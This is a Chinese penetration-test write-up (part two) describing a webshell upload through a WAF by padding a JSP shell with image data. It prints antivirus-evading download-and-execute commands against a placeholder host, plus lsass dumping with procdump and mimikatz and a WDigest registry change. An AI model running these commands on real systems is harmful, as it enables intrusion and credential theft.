一次授权渗透实战( 二 )


 
内容混淆 
内容加密 bypass 失败了,只能换一个思路 。
尝试对文件内容进行混淆,绕过 waf 。
首先想到的是图片马,尝试把木马隐藏到图片源码中,绕过 waf 。
在这个过程中也踩了一些坑,有些图片源码包含特殊字符会和木马的代码发生冲突,因此需要特殊处理过的图片才能保证正常解析 。
使用 notepad++打开准备好的图片,把 jsp 马插入到图片源码中 。

一次授权渗透实战

文章插图
 
更改为 jsp 后缀进行上传 。
一次授权渗透实战

文章插图
 
上传失败,猜测可能是混淆的力度不够,未起到混淆的目的 。
开始增加文件内容的长度,复制图片的一段源码,反复的粘贴到木马的前后位置,经过若干次尝试,返回了上传成功,且只能成功一次,下
次上传需要重新混淆,难道 waf 还自带了机器学习?
一次授权渗透实战

文章插图
 
访问 webshell 地址,文件解析成功,成功拿下了目标的 webshell,权限为最高的 administrator 权限 。
一次授权渗透实战

文章插图
 
上传的为 CMD 马,只能执行系统命令,目标通互联网,下一步的思路是:使用命令直接下载 cs 马或者 msf 马执行 。
使用命令下载免杀 exe 到本地执行 。
cmd 下常用的下载命令有三种,推荐使用证书下载命令,免杀性强,其它两种容易被防护拦截 。
证书下载``` *
 
certutil.exe -urlcache -split -f http://x.x.x.x/1.exe D:/1.exe 
vbs 下载 ```*
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs cscript downfile.vbs http://x.x.x.x/1.exe D:1.ex
  
bitsadmin 命令下载 ``` *
 
bitsadmin /transfer n http://x.x.x.x/1.exeD:\1.exe 
在可以调用 powershell 的情况下,推荐使用 powershell 对木马文件进行下载执行,优点是免杀可操作性强,无落地文件 。这里给出我之前发布的免杀 powershell 命令```*
powershell.exe "$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''http://x.x.x.x''))';$a3="$a1,$a2";IEX(-join $a3)"
  
免杀处理的方法有很多,可以参考我之前发布的文章中 。攻防演练对抗赛之初识文件钓鱼
也可以关注我们 Tide 安全团队的公众号,查看免杀系列文章 。
上传后成功执行,cs 成功接收到会话信息 。
一次授权渗透实战

文章插图
 
尝试激活 guest 用户,加入管理员组失败 。
一次授权渗透实战

文章插图
 
存在服务器防护需要绕过 。
服务器为 server 2008,默认情况下,可以使用 Procdump+Mimikatz 来读取管理员的明文密码 。
Procdump 由微软官方提供,绝大多数情况下不会被杀 。
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
 
分为 2 步:
1、导出 lsass.exe 进程``` *
 
procdump64.exe -accepteula -ma lsass.exe lsass.dmp 
2、使用 mimikatz 破解导出的文件 lsass.dmp```*
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit对于 server 2012 以上,或者打了补丁的操作系统,无法直接读取明文,必须修改注册表,重启服务器等待管理员登录才能获取到明文密码 。
 
reg add HKEY_LOCAL_macHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 
还可以选择执行 powershell 命令添加用户 。 
使用 Get-ExecutionPolicy 查看当前执行策略为 Restricted (默认策略,不允许任意脚本的执行)
使用 Set-ExecutionPolicy 设置执行的策略为 RemoteSigned (本地脚本无限制,但是对来自网络的脚本必须经过签名)
相关 powershell 命令可查看 CSeroad 大佬的文章 。
一次授权渗透实战

文章插图
 
powershell 的免杀性强,大多数情况下都可以执行成功 。


推荐阅读